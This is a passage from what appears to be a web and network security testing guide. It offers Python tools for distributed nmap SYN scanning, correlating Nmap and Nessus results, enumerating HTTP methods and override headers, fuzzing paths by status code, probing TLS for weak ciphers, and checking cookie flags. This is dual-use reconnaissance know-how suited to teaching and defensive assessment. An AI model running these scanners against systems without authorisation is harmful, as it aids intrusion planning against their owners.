print(f"Registration failed: {e}")
def get_task(self):
"""Get next task from controller"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.controller_host, self.controller_port))
request = {
'type': 'get_task',
'worker_id': self.worker_id
}
sock.send(json.dumps(request).encode())
response = sock.recv(8192).decode()
sock.close()
return json.loads(response)
except Exception as e:
print(f"Error getting task: {e}")
return None
def submit_result(self, task_id, result):
"""Submit scan result to controller"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.controller_host, self.controller_port))
submission = {
'type': 'submit_result',
'worker_id': self.worker_id,
'task_id': task_id,
'result': result
}
sock.send(json.dumps(submission).encode())
sock.close()
except Exception as e:
print(f"Error submitting result: {e}")
def execute_task(self, task):
"""Execute a scan task"""
task_type = task.get('type')
target = task.get('target')
if task_type == 'port_scan':
return self.execute_port_scan(target, task.get('ports', '1-1000'))
elif task_type == 'vuln_scan':
return self.execute_vuln_scan(target, task.get('ports'))
elif task_type == 'web_scan':
return self.execute_web_scan(target)
else:
return {'error': 'Unknown task type'}
def execute_port_scan(self, target, ports):
"""Execute port scan"""
import nmap
nm = nmap.PortScanner()
try:
nm.scan(target, ports, arguments='-sS -T4 --min-rate 500')
result = {}
if target in nm.all_hosts():
host = nm[target]
result['status'] = 'up'
result['hostnames'] = host.hostnames()
result['ports'] = []
for proto in host.all_protocols():
ports = host[proto].keys()
for port in ports:
result['ports'].append({
'port': port,
'state': host[proto][port]['state'],
'name': host[proto][port]['name']
})
else:
result['status'] = 'down'
return result
except Exception as e:
return {'error': str(e)}
def execute_vuln_scan(self, target, ports):
"""Execute vulnerability scan"""
# Simplified vulnerability scan
return {'scan_type': 'vuln', 'target': target, 'results': []}
def execute_web_scan(self, target):
"""Execute web application scan"""
# Simplified web scan
return {'scan_type': 'web', 'target': target, 'results': []}
def run(self):
"""Main worker loop"""
self.register_with_controller()
while self.running:
task = self.get_task()
if task and task.get('type') != 'no_task':
print(f"[Worker {self.worker_id}] Executing task {task.get('task_id')}")
result = self.execute_task(task)
self.submit_result(task.get('task_id'), result)
else:
time.sleep(5) # Wait before checking for new tasks
class ScanController:
def __init__(self, host='0.0.0.0', port=5555):
self.host = host
self.port = port
self.workers = {}
self.tasks = {}
self.results = {}
self.next_task_id = 1
def start(self):
"""Start the controller server"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((self.host, self.port))
server.listen(10)
print(f"[Controller] Listening on {self.host}:{self.port}")
while True:
client, addr = server.accept()
data = client.recv(8192).decode()
if data:
try:
request = json.loads(data)
response = self.handle_request(request, addr)
if response:
client.send(json.dumps(response).encode())
except Exception as e:
print(f"Error handling request: {e}")
client.close()
def handle_request(self, request, addr):
"""Handle worker requests"""
request_type = request.get('type')
if request_type == 'register':
worker_id = request.get('worker_id')
self.workers[worker_id] = {
'address': addr[0],
'capabilities': request.get('capabilities', []),
'last_seen': time.time(),
'tasks_assigned': []
}
print(f"[Controller] Worker {worker_id} registered")
return {'status': 'registered'}
elif request_type == 'get_task':
worker_id = request.get('worker_id')
# Find next available task
for task_id, task in self.tasks.items():
if task['status'] == 'pending':
task['status'] = 'assigned'
task['worker'] = worker_id
self.workers[worker_id]['tasks_assigned'].append(task_id)
return {
'task_id': task_id,
'type': task['type'],
'target': task['target'],
'ports': task.get('ports')
}
return {'type': 'no_task'}
elif request_type == 'submit_result':
worker_id = request.get('worker_id')
task_id = request.get('task_id')
result = request.get('result')
self.results[task_id] = {
'worker': worker_id,
'result': result,
'completed': time.time()
}
if task_id in self.tasks:
self.tasks[task_id]['status'] = 'completed'
print(f"[Controller] Received result for task {task_id}")
return {'status': 'received'}
def add_task(self, task_type, target, ports=None):
"""Add a new scan task"""
task_id = str(self.next_task_id)
self.next_task_id += 1
self.tasks[task_id] = {
'task_id': task_id,
'type': task_type,
'target': target,
'ports': ports,
'status': 'pending',
'added': time.time()
}
return task_id
def distribute_scan(self, targets: List[str], scan_type: str = 'port_scan'):
"""Distribute scan tasks across workers"""
task_ids = []
for target in targets:
task_id = self.add_task(scan_type, target)
task_ids.append(task_id)
# Wait for all tasks to complete
while True:
completed = 0
for task_id in task_ids:
if task_id in self.results:
completed += 1
if completed == len(task_ids):
break
time.sleep(2)
# Collect results
scan_results = {}
for task_id in task_ids:
result = self.results.get(task_id)
if result:
task = self.tasks[task_id]
scan_results[task['target']] = result['result']
return scan_results
# Example usage - Controller
if __name__ == "__main__":
import sys
if sys.argv[1] == 'controller':
controller = ScanController()
controller.start()
elif sys.argv[1] == 'worker':
worker = ScanWorker(sys.argv[2], sys.argv[3], int(sys.argv[4]))
worker.run()Analyzing scanner output to extract meaningful findings and prioritize remediation.
#!/usr/bin/env python3
# scanner_correlation.py
import json
import xml.etree.ElementTree as ET
from typing import Dict, List
import hashlib
class ScanResultCorrelator:
def __init__(self):
self.results = {}
self.correlated_findings = {}
def load_nmap_xml(self, filename: str) -> Dict:
"""Load and parse Nmap XML output"""
try:
tree = ET.parse(filename)
root = tree.getroot()
hosts = []
for host in root.findall('host'):
host_info = {'ip': None, 'ports': [], 'os': [], 'hostnames': []}
# Get IP
address = host.find('address')
if address is not None and address.get('addrtype') == 'ipv4':
host_info['ip'] = address.get('addr')
# Get hostnames
for hostname in host.findall('hostnames/hostname'):
host_info['hostnames'].append(hostname.get('name'))
# Get ports
for port in host.findall('ports/port'):
port_info = {
'portid': port.get('portid'),
'protocol': port.get('protocol'),
'state': port.find('state').get('state'),
'service': port.find('service').get('name') if port.find('service') is not None else None
}
host_info['ports'].append(port_info)
# Get OS
for os in host.findall('os/osmatch'):
host_info['os'].append(os.get('name'))
hosts.append(host_info)
return {'tool': 'nmap', 'hosts': hosts}
except Exception as e:
print(f"Error loading Nmap XML: {e}")
return {}
def load_nessus_xml(self, filename: str) -> Dict:
"""Load and parse Nessus XML output"""
try:
tree = ET.parse(filename)
root = tree.getroot()
findings = []
for report_host in root.findall('.//ReportHost'):
host_info = {
'name': report_host.get('name'),
'findings': []
}
for item in report_host.findall('ReportItem'):
finding = {
'plugin_id': item.get('pluginID'),
'plugin_name': item.get('pluginName'),
'severity': item.get('severity'),
'port': item.get('port'),
'protocol': item.get('protocol'),
'description': item.findtext('description'),
'solution': item.findtext('solution'),
'cvss_base': item.findtext('cvss_base_score')
}
host_info['findings'].append(finding)
findings.append(host_info)
return {'tool': 'nessus', 'findings': findings}
except Exception as e:
print(f"Error loading Nessus XML: {e}")
return {}
def load_openvas_xml(self, filename: str) -> Dict:
"""Load and parse OpenVAS XML output"""
# Similar to Nessus parsing
return {}
def correlate_findings(self):
"""Correlate findings from multiple scanners"""
correlated = {}
for source, data in self.results.items():
tool = data.get('tool')
if tool == 'nmap':
for host in data.get('hosts', []):
host_key = host['ip'] or host['hostnames'][0] if host['hostnames'] else 'unknown'
if host_key not in correlated:
correlated[host_key] = {
'ip': host['ip'],
'hostnames': host['hostnames'],
'ports': {},
'vulnerabilities': [],
'sources': []
}
# Add ports
for port in host['ports']:
if port['state'] == 'open':
port_key = f"{port['portid']}/{port['protocol']}"
correlated[host_key]['ports'][port_key] = {
'service': port['service'],
'source': 'nmap'
}
correlated[host_key]['sources'].append('nmap')
elif tool == 'nessus':
for host in data.get('findings', []):
host_key = host['name']
if host_key not in correlated:
correlated[host_key] = {
'ip': host_key,
'hostnames': [],
'ports': {},
'vulnerabilities': [],
'sources': []
}
# Add vulnerabilities
for finding in host['findings']:
if int(finding.get('severity', 0)) >= 3: # High or Critical
vuln_key = self.create_vuln_id(finding)
vuln_info = {
'plugin_name': finding['plugin_name'],
'severity': finding['severity'],
'description': finding['description'],
'solution': finding['solution'],
'cvss': finding['cvss_base'],
'source': 'nessus'
}
correlated[host_key]['vulnerabilities'].append(vuln_info)
# Add port info if available
if finding.get('port'):
port_key = f"{finding['port']}/{finding['protocol']}"
if port_key not in correlated[host_key]['ports']:
correlated[host_key]['ports'][port_key] = {
'service': None,
'source': 'nessus'
}
correlated[host_key]['sources'].append('nessus')
self.correlated_findings = correlated
return correlated
def create_vuln_id(self, finding):
"""Create unique ID for vulnerability"""
vuln_string = f"{finding.get('plugin_name')}{finding.get('description')}"
return hashlib.md5(vuln_string.encode()).hexdigest()[:8]
def generate_consolidated_report(self):
"""Generate consolidated report from all scanners"""
report = {
'summary': {
'total_hosts': len(self.correlated_findings),
'total_vulnerabilities': 0,
'vulnerabilities_by_severity': {'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0},
'scanners_used': set()
},
'hosts': []
}
for host_key, host_data in self.correlated_findings.items():
host_summary = {
'host': host_key,
'ip': host_data['ip'],
'hostnames': host_data['hostnames'],
'open_ports': len(host_data['ports']),
'vulnerabilities': len(host_data['vulnerabilities']),
'scanners': host_data['sources'],
'port_list': host_data['ports'],
'vulnerability_list': host_data['vulnerabilities']
}
report['hosts'].append(host_summary)
report['summary']['total_vulnerabilities'] += len(host_data['vulnerabilities'])
# Count by severity
for vuln in host_data['vulnerabilities']:
severity = vuln.get('severity', '0')
if severity == '4':
report['summary']['vulnerabilities_by_severity']['Critical'] += 1
elif severity == '3':
report['summary']['vulnerabilities_by_severity']['High'] += 1
elif severity == '2':
report['summary']['vulnerabilities_by_severity']['Medium'] += 1
elif severity == '1':
report['summary']['vulnerabilities_by_severity']['Low'] += 1
for scanner in host_data['sources']:
report['summary']['scanners_used'].add(scanner)
# Convert set to list for JSON serialization
report['summary']['scanners_used'] = list(report['summary']['scanners_used'])
return report
def save_correlated_report(self, filename: str):
"""Save correlated report to file"""
report = self.generate_consolidated_report()
with open(filename, 'w') as f:
json.dump(report, f, indent=2)
print(f"[+] Correlated report saved to {filename}")
return report
# Example usage
correlator = ScanResultCorrelator()
correlator.results['nmap'] = correlator.load_nmap_xml('nmap_scan.xml')
correlator.results['nessus'] = correlator.load_nessus_xml('nessus_scan.nessus')
correlator.correlate_findings()
report = correlator.save_correlated_report('correlated_scan_results.json')#!/usr/bin/env python3
# trend_analysis.py
import json
import datetime
from collections import defaultdict
import matplotlib.pyplot as plt
class VulnerabilityTrendAnalyzer:
def __init__(self):
self.scan_history = []
def add_scan_result(self, scan_date, results):
"""Add scan result to history"""
self.scan_history.append({
'date': scan_date,
'results': results
})
# Keep sorted by date
self.scan_history.sort(key=lambda x: x['date'])
def analyze_trends(self):
"""Analyze vulnerability trends over time"""
trends = {
'dates': [],
'total_vulns': [],
'critical': [],
'high': [],
'medium': [],
'low': [],
'hosts_scanned': []
}
for scan in self.scan_history:
trends['dates'].append(scan['date'])
results = scan['results']
# Count vulnerabilities
critical = 0
high = 0
medium = 0
low = 0
for host in results.get('hosts', []):
for vuln in host.get('vulnerability_list', []):
severity = vuln.get('severity', '0')
if severity == '4':
critical += 1
elif severity == '3':
high += 1
elif severity == '2':
medium += 1
elif severity == '1':
low += 1
trends['critical'].append(critical)
trends['high'].append(high)
trends['medium'].append(medium)
trends['low'].append(low)
trends['total_vulns'].append(critical + high + medium + low)
trends['hosts_scanned'].append(len(results.get('hosts', [])))
return trends
def calculate_metrics(self, trends):
"""Calculate trend metrics"""
metrics = {}
if len(trends['dates']) >= 2:
# Calculate changes
first = trends['total_vulns'][0]
last = trends['total_vulns'][-1]
change = last - first
percent_change = (change / first * 100) if first > 0 else 0
metrics['total_change'] = {
'absolute': change,
'percentage': round(percent_change, 1)
}
# Calculate average per scan
metrics['average_vulns'] = sum(trends['total_vulns']) / len(trends['total_vulns'])
# Calculate trend direction
if len(trends['total_vulns']) > 2:
# Simple linear regression for direction
x = list(range(len(trends['total_vulns'])))
y = trends['total_vulns']
n = len(x)
slope = (n * sum(x[i]*y[i] for i in range(n)) - sum(x)*sum(y)) / \
(n * sum(x[i]**2 for i in range(n)) - sum(x)**2)
metrics['trend_direction'] = 'increasing' if slope > 0 else 'decreasing' if slope < 0 else 'stable'
metrics['trend_slope'] = round(slope, 2)
return metrics
def generate_trend_report(self):
"""Generate trend analysis report"""
trends = self.analyze_trends()
metrics = self.calculate_metrics(trends)
report = {
'analysis_period': {
'start': trends['dates'][0] if trends['dates'] else None,
'end': trends['dates'][-1] if trends['dates'] else None,
'scans_conducted': len(trends['dates'])
},
'trends': trends,
'metrics': metrics,
'observations': []
}
# Generate observations
if metrics.get('total_change', {}).get('percentage', 0) < -10:
report['observations'].append("Vulnerability count has decreased significantly, indicating effective remediation.")
elif metrics.get('total_change', {}).get('percentage', 0) > 10:
report['observations'].append("Vulnerability count has increased, investigate root causes.")
if trends['critical'][-1] > trends['critical'][0]:
report['observations'].append("Critical vulnerabilities are increasing - prioritize remediation.")
return report
def plot_trends(self, output_file='trends.png'):
"""Generate trend visualization"""
trends = self.analyze_trends()
plt.figure(figsize=(12, 8))
# Plot total vulnerabilities
plt.subplot(2, 2, 1)
plt.plot(trends['dates'], trends['total_vulns'], marker='o')
plt.title('Total Vulnerabilities Over Time')
plt.xticks(rotation=45)
plt.grid(True)
# Plot by severity
plt.subplot(2, 2, 2)
plt.plot(trends['dates'], trends['critical'], marker='o', color='red', label='Critical')
plt.plot(trends['dates'], trends['high'], marker='o', color='orange', label='High')
plt.plot(trends['dates'], trends['medium'], marker='o', color='yellow', label='Medium')
plt.plot(trends['dates'], trends['low'], marker='o', color='green', label='Low')
plt.title('Vulnerabilities by Severity')
plt.xticks(rotation=45)
plt.legend()
plt.grid(True)
# Plot hosts scanned
plt.subplot(2, 2, 3)
plt.bar(trends['dates'], trends['hosts_scanned'])
plt.title('Hosts Scanned')
plt.xticks(rotation=45)
plt.grid(True)
# Plot vulnerability density
plt.subplot(2, 2, 4)
density = [v/h for v, h in zip(trends['total_vulns'], trends['hosts_scanned'])]
plt.plot(trends['dates'], density, marker='o', color='purple')
plt.title('Vulnerabilities per Host')
plt.xticks(rotation=45)
plt.grid(True)
plt.tight_layout()
plt.savefig(output_file)
plt.close()
print(f"[+] Trend plot saved to {output_file}")
# Example usage
analyzer = VulnerabilityTrendAnalyzer()
# Add historical scan data
analyzer.add_scan_result('2024-01-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '3'}]}]})
analyzer.add_scan_result('2024-02-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}, {'severity': '4'}]}]})
analyzer.add_scan_result('2024-03-01', {'hosts': [{'vulnerability_list': [{'severity': '4'}]}]})
report = analyzer.generate_trend_report()
print(json.dumps(report, indent=2))
analyzer.plot_trends('vuln_trends.png')Understanding the fundamentals of web technologies is essential for effective web application security testing. This chapter covers the core protocols, architectures, and technologies that power modern web applications.
Hypertext Transfer Protocol (HTTP) is the foundation of data communication on the World Wide Web. Understanding its intricacies is crucial for identifying vulnerabilities and exploiting web applications.
HTTP Request Structure:
GET /page.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1HTTP Response Structure:
HTTP/1.1 200 OK
Date: Mon, 23 Sep 2024 12:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Connection: close
<!DOCTYPE html>
<html>
<head>
<title>Example Page</title>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>HTTP Methods:
#!/usr/bin/env python3
# http_methods.py
import requests
from urllib.parse import urljoin
class HTTPMethodTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = {}
def test_method(self, method, path=""):
"""Test specific HTTP method"""
url = urljoin(self.base_url, path)
try:
if method == 'GET':
response = self.session.get(url)
elif method == 'POST':
response = self.session.post(url, data={'test': 'data'})
elif method == 'PUT':
response = self.session.put(url, data={'test': 'data'})
elif method == 'DELETE':
response = self.session.delete(url)
elif method == 'HEAD':
response = self.session.head(url)
elif method == 'OPTIONS':
response = self.session.options(url)
elif method == 'PATCH':
response = self.session.patch(url, data={'test': 'data'})
elif method == 'TRACE':
response = self.session.request('TRACE', url)
else:
return None
return {
'status_code': response.status_code,
'headers': dict(response.headers),
'body_length': len(response.text) if response.text else 0
}
except Exception as e:
return {'error': str(e)}
def enumerate_methods(self, path=""):
"""Enumerate allowed HTTP methods"""
methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH', 'TRACE']
print(f"[*] Testing HTTP methods on {self.base_url}{path}")
for method in methods:
result = self.test_method(method, path)
self.results[method] = result
if result and 'status_code' in result:
status = result['status_code']
if status == 200:
print(f" [+] {method}: {status} - Allowed")
elif status == 403:
print(f" [-] {method}: {status} - Forbidden")
elif status == 405:
print(f" [-] {method}: {status} - Method Not Allowed")
elif status == 501:
print(f" [-] {method}: {status} - Not Implemented")
else:
print(f" [?] {method}: {status} - Unexpected response")
else:
print(f" [!] {method}: Error - {result.get('error', 'Unknown')}")
# Check OPTIONS response for allowed methods
if 'OPTIONS' in self.results:
options_headers = self.results['OPTIONS'].get('headers', {})
allowed = options_headers.get('Allow', '')
if allowed:
print(f"\n[+] Server reports allowed methods: {allowed}")
return self.results
def test_method_override(self):
"""Test HTTP method override techniques"""
override_headers = [
'X-HTTP-Method-Override',
'X-HTTP-Method',
'X-Method-Override'
]
print("\n[*] Testing method override headers")
for header in override_headers:
url = urljoin(self.base_url, '/')
try:
# Send POST with override header to simulate PUT
response = self.session.post(
url,
data={'test': 'data'},
headers={header: 'PUT'}
)
print(f" [+] {header}: {response.status_code}")
# Try DELETE override
response = self.session.post(
url,
data={'test': 'data'},
headers={header: 'DELETE'}
)
print(f" [+] {header} (DELETE): {response.status_code}")
except Exception as e:
print(f" [-] {header}: Error - {e}")
# Example usage
tester = HTTPMethodTester('http://example.com')
tester.enumerate_methods('/api/users')
tester.test_method_override()HTTP Status Codes:
#!/usr/bin/env python3
# status_codes.py
class HTTPStatusAnalyzer:
def __init__(self):
self.status_categories = {
'1xx': 'Informational',
'2xx': 'Success',
'3xx': 'Redirection',
'4xx': 'Client Error',
'5xx': 'Server Error'
}
self.common_codes = {
# Success
200: 'OK',
201: 'Created',
202: 'Accepted',
204: 'No Content',
# Redirection
301: 'Moved Permanently',
302: 'Found (Temporary Redirect)',
304: 'Not Modified',
307: 'Temporary Redirect',
308: 'Permanent Redirect',
# Client Errors
400: 'Bad Request',
401: 'Unauthorized',
403: 'Forbidden',
404: 'Not Found',
405: 'Method Not Allowed',
429: 'Too Many Requests',
# Server Errors
500: 'Internal Server Error',
502: 'Bad Gateway',
503: 'Service Unavailable',
504: 'Gateway Timeout'
}
def analyze_response(self, response):
"""Analyze HTTP response status code"""
status_code = response.status_code
category = f"{status_code // 100}xx"
analysis = {
'status_code': status_code,
'category': self.status_categories.get(category, 'Unknown'),
'meaning': self.common_codes.get(status_code, 'Unknown Code'),
'security_implications': []
}
# Security implications based on status code
if status_code == 200:
if len(response.content) == 0:
analysis['security_implications'].append("Empty 200 response - possible injection?")
elif status_code == 301 or status_code == 302:
location = response.headers.get('Location', '')
if 'http:' in location and 'https' not in location:
analysis['security_implications'].append("Redirect to HTTP from HTTPS - possible MITM")
elif status_code == 401 or status_code == 403:
# Check for information disclosure in error pages
if len(response.content) > 1000:
analysis['security_implications'].append("Verbose error page may disclose information")
elif status_code == 404:
if '404' not in response.text and 'Not Found' not in response.text:
analysis['security_implications'].append("Custom 404 page may hide directory existence")
elif status_code == 500:
if 'SQL' in response.text or 'mysql' in response.text.lower():
analysis['security_implications'].append("SQL error disclosed - possible SQL injection")
if 'Stack Trace' in response.text or 'at ' in response.text:
analysis['security_implications'].append("Stack trace disclosed - sensitive information")
elif status_code == 429:
analysis['security_implications'].append("Rate limiting detected - brute force protection?")
return analysis
def fuzz_status_codes(self, base_url, paths):
"""Fuzz paths to observe status code patterns"""
import requests
results = {
'200': [],
'403': [],
'404': [],
'500': [],
'other': []
}
for path in paths:
try:
url = f"{base_url}/{path}"
response = requests.get(url, timeout=2)
code = response.status_code
if code == 200:
results['200'].append(path)
elif code == 403:
results['403'].append(path)
elif code == 404:
results['404'].append(path)
elif code == 500:
results['500'].append(path)
else:
results['other'].append(f"{path}: {code}")
except:
results['other'].append(f"{path}: error")
return results
# Example usage
analyzer = HTTPStatusAnalyzer()
import requests
response = requests.get('http://example.com/nonexistent')
analysis = analyzer.analyze_response(response)
print(json.dumps(analysis, indent=2))TLS Handshake Analysis:
#!/usr/bin/env python3
# tls_analysis.py
import ssl
import socket
import json
import certifi
from OpenSSL import SSL, crypto
class TLSAnalyzer:
def __init__(self, hostname, port=443):
self.hostname = hostname
self.port = port
self.cert_info = {}
self.tls_info = {}
def get_certificate(self):
"""Retrieve SSL/TLS certificate"""
try:
# Create SSL context
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# Connect and get certificate
with socket.create_connection((self.hostname, self.port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
cert = ssock.getpeercert(binary_form=True)
# Parse certificate
x509 = crypto.load_certificate(crypto.FILETYPE_ASN1, cert)
self.cert_info = {
'subject': dict(x509.get_subject().get_components()),
'issuer': dict(x509.get_issuer().get_components()),
'version': x509.get_version(),
'serial_number': x509.get_serial_number(),
'not_before': x509.get_notBefore().decode(),
'not_after': x509.get_notAfter().decode(),
'signature_algorithm': x509.get_signature_algorithm().decode(),
'extensions': []
}
# Get extensions
for i in range(x509.get_extension_count()):
ext = x509.get_extension(i)
self.cert_info['extensions'].append({
'name': ext.get_short_name().decode(),
'critical': ext.get_critical(),
'value': str(ext)
})
# Get SANs
for ext in self.cert_info['extensions']:
if ext['name'] == 'subjectAltName':
sans = ext['value'].split(', ')
self.cert_info['subject_alt_names'] = [san.strip() for san in sans]
except Exception as e:
print(f"Error retrieving certificate: {e}")
return self.cert_info
def check_tls_configuration(self):
"""Check TLS configuration and vulnerabilities"""
vulnerabilities = []
recommendations = []
# Check protocol versions
protocols = {
'SSLv2': False,
'SSLv3': False,
'TLSv1.0': False,
'TLSv1.1': False,
'TLSv1.2': False,
'TLSv1.3': False
}
for protocol in protocols.keys():
try:
context = ssl.SSLContext(self.get_ssl_version(protocol))
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
protocols[protocol] = True
except:
pass
self.tls_info['supported_protocols'] = protocols
# Check for vulnerabilities
if protocols.get('SSLv2', False):
vulnerabilities.append("SSLv2 supported - severely insecure")
if protocols.get('SSLv3', False):
vulnerabilities.append("SSLv3 supported - vulnerable to POODLE")
if protocols.get('TLSv1.0', False):
vulnerabilities.append("TLS 1.0 supported - deprecated")
if not protocols.get('TLSv1.2', False):
vulnerabilities.append("TLS 1.2 not supported - missing modern protocol")
if not protocols.get('TLSv1.3', False):
recommendations.append("Enable TLS 1.3 for best security")
# Check certificate expiration
if self.cert_info:
import datetime
not_after = datetime.datetime.strptime(
self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes)
else self.cert_info['not_after'],
'%Y%m%d%H%M%SZ'
)
days_until_expiry = (not_after - datetime.datetime.now()).days
if days_until_expiry < 0:
vulnerabilities.append(f"Certificate EXPIRED {abs(days_until_expiry)} days ago")
elif days_until_expiry < 30:
vulnerabilities.append(f"Certificate expires in {days_until_expiry} days")
# Check certificate trust chain
try:
context = ssl.create_default_context(cafile=certifi.where())
with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
self.tls_info['certificate_valid'] = True
except ssl.SSLCertVerificationError as e:
self.tls_info['certificate_valid'] = False
vulnerabilities.append(f"Certificate validation failed: {e}")
self.tls_info['vulnerabilities'] = vulnerabilities
self.tls_info['recommendations'] = recommendations
return self.tls_info
def get_ssl_version(self, protocol_name):
"""Map protocol name to SSL version constant"""
versions = {
'SSLv2': ssl.PROTOCOL_SSLv23, # This is approximate
'SSLv3': ssl.PROTOCOL_SSLv3,
'TLSv1.0': ssl.PROTOCOL_TLSv1,
'TLSv1.1': ssl.PROTOCOL_TLSv1_1,
'TLSv1.2': ssl.PROTOCOL_TLSv1_2,
'TLSv1.3': ssl.PROTOCOL_TLS_CLIENT # For TLS 1.3 detection
}
return versions.get(protocol_name, ssl.PROTOCOL_TLS_CLIENT)
def test_weak_ciphers(self):
"""Test for weak cipher support"""
weak_ciphers = [
'RC4-SHA',
'RC4-MD5',
'DES-CBC3-SHA',
'EDH-RSA-DES-CBC3-SHA',
'AECDH-AES256-SHA',
'AECDH-AES128-SHA',
'ADH-AES256-SHA',
'ADH-AES128-SHA',
'EXP-EDH-RSA-DES-CBC-SHA',
'EXP-DES-CBC-SHA',
'EXP-RC4-MD5'
]
supported_weak = []
for cipher in weak_ciphers:
try:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.set_ciphers(cipher)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((self.hostname, self.port), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=self.hostname) as ssock:
supported_weak.append(cipher)
except:
pass
return supported_weak
def generate_report(self):
"""Generate comprehensive TLS report"""
self.get_certificate()
self.check_tls_configuration()
weak_ciphers = self.test_weak_ciphers()
report = {
'hostname': self.hostname,
'port': self.port,
'certificate': self.cert_info,
'tls_configuration': self.tls_info,
'weak_ciphers': weak_ciphers,
'grade': self.calculate_grade()
}
return report
def calculate_grade(self):
"""Calculate TLS configuration grade"""
score = 100
deductions = []
# Protocol deductions
protocols = self.tls_info.get('supported_protocols', {})
if protocols.get('SSLv2', False):
score -= 50
deductions.append("SSLv2 support (-50)")
if protocols.get('SSLv3', False):
score -= 30
deductions.append("SSLv3 support (-30)")
if protocols.get('TLSv1.0', False):
score -= 15
deductions.append("TLS 1.0 support (-15)")
if protocols.get('TLSv1.1', False):
score -= 5
deductions.append("TLS 1.1 support (-5)")
if not protocols.get('TLSv1.2', False):
score -= 20
deductions.append("TLS 1.2 missing (-20)")
if not protocols.get('TLSv1.3', False):
score -= 10
deductions.append("TLS 1.3 missing (-10)")
# Weak cipher deductions
weak_count = len(self.test_weak_ciphers())
if weak_count > 0:
score -= min(weak_count * 5, 30)
deductions.append(f"Weak ciphers ({weak_count}) (-{min(weak_count*5, 30)})")
# Certificate issues
if self.cert_info:
import datetime
not_after = datetime.datetime.strptime(
self.cert_info['not_after'].decode() if isinstance(self.cert_info['not_after'], bytes)
else self.cert_info['not_after'],
'%Y%m%d%H%M%SZ'
)
days_left = (not_after - datetime.datetime.now()).days
if days_left < 30:
score -= 15
deductions.append(f"Certificate expiring ({days_left} days) (-15)")
if days_left < 0:
score = 0
deductions.append("Certificate expired - AUTOMATIC FAIL")
# Determine grade
if score >= 90:
grade = 'A'
elif score >= 70:
grade = 'B'
elif score >= 50:
grade = 'C'
elif score >= 30:
grade = 'D'
else:
grade = 'F'
return {
'score': max(0, score),
'grade': grade,
'deductions': deductions
}
# Example usage
analyzer = TLSAnalyzer('example.com')
report = analyzer.generate_report()
print(json.dumps(report, indent=2))Session management is critical for web application security. Understanding how cookies and sessions work helps identify vulnerabilities like session fixation, hijacking, and insecure storage.
#!/usr/bin/env python3
# cookie_analyzer.py
import requests
from http.cookies import SimpleCookie
import re
class CookieAnalyzer:
def __init__(self, session=None):
self.session = session or requests.Session()
self.cookies = {}
self.security_issues = []
def analyze_cookie(self, cookie_name, cookie_value, attributes):
"""Analyze individual cookie for security issues"""
issues = []
# Check Secure flag
if 'secure' not in attributes or attributes['secure'] != True:
issues.append("Missing Secure flag - cookie sent over HTTP")
# Check HttpOnly flag
if 'httponly' not in attributes or attributes['httponly'] != True:
issues.append("Missing HttpOnly flag - accessible to JavaScript (XSS risk)")
# Check SameSite attribute
samesite = attributes.get('samesite', '').lower()
if not samesite:
issues.append("Missing SameSite attribute - CSRF risk")
elif samesite == 'none':
if 'secure' in attributes and attributes['secure']:
issues.append("SameSite=None with Secure flag - acceptable for cross-site usage")
else:
issues.append("SameSite=None without Secure flag - insecure")
elif samesite in ['lax', 'strict']:
pass # Good
else:
issues.append(f"Unknown SameSite value: {samesite}")
# Check domain attribute
domain = attributes.get('domain', '')
if domain.startswith('.'):
issues.append(f"Wildcard domain '{domain}' - cookie sent to all subdomains")
# Check path attribute
path = attributes.get('path', '/')
if path == '/':
pass # Default, acceptable
elif path and not path.endswith('/'):
issues.append(f"Path '{path}' may be too broad")
# Check expiration
expires = attributes.get('expires', '')
max_age = attributes.get('max-age', '')
if not expires and not max_age:
issues.append("Session cookie (no expiration) - exists until browser closes")
elif max_age:
try:
age = int(max_age)
if age > 86400 * 30: # 30 days
issues.append(f"Long-lived cookie: max-age={age} seconds")
except:
pass
# Check for sensitive information in value
sensitive_patterns = [
(r'password|passwd|pwd', 'Password in cookie'),
(r'token.*=.*[A-Za-z0-9]{20,}', 'Long token - check if sensitive'),
(r'admin|root|administrator', 'Privileged user indicator'),
(r'\{.*\}', 'JSON data in cookie'),
(r'[a-f0-9]{32}', 'MD5 hash - possibly sensitive'),
(r'[A-Za-z0-9-_]{40,}', 'Long token - possibly JWT or API key')
]
for pattern, description in sensitive_patterns:
if re.search(pattern, cookie_value, re.I):
issues.append(f"Sensitive pattern detected: {description}")
return issues
def capture_cookies(self, url, method='GET', data=None):
"""Capture cookies from HTTP response"""
if method.upper() == 'GET':
response = self.session.get(url)
else:
response = self.session.post(url, data=data)
cookies = {}
# Parse Set-Cookie headers
for cookie_header in response.headers.getlist('Set-Cookie'):
cookie = SimpleCookie()
cookie.load(cookie_header)
for key, morsel in cookie.items():
cookie_info = {
'value': morsel.value,
'attributes': {}
}
# Extract attributes
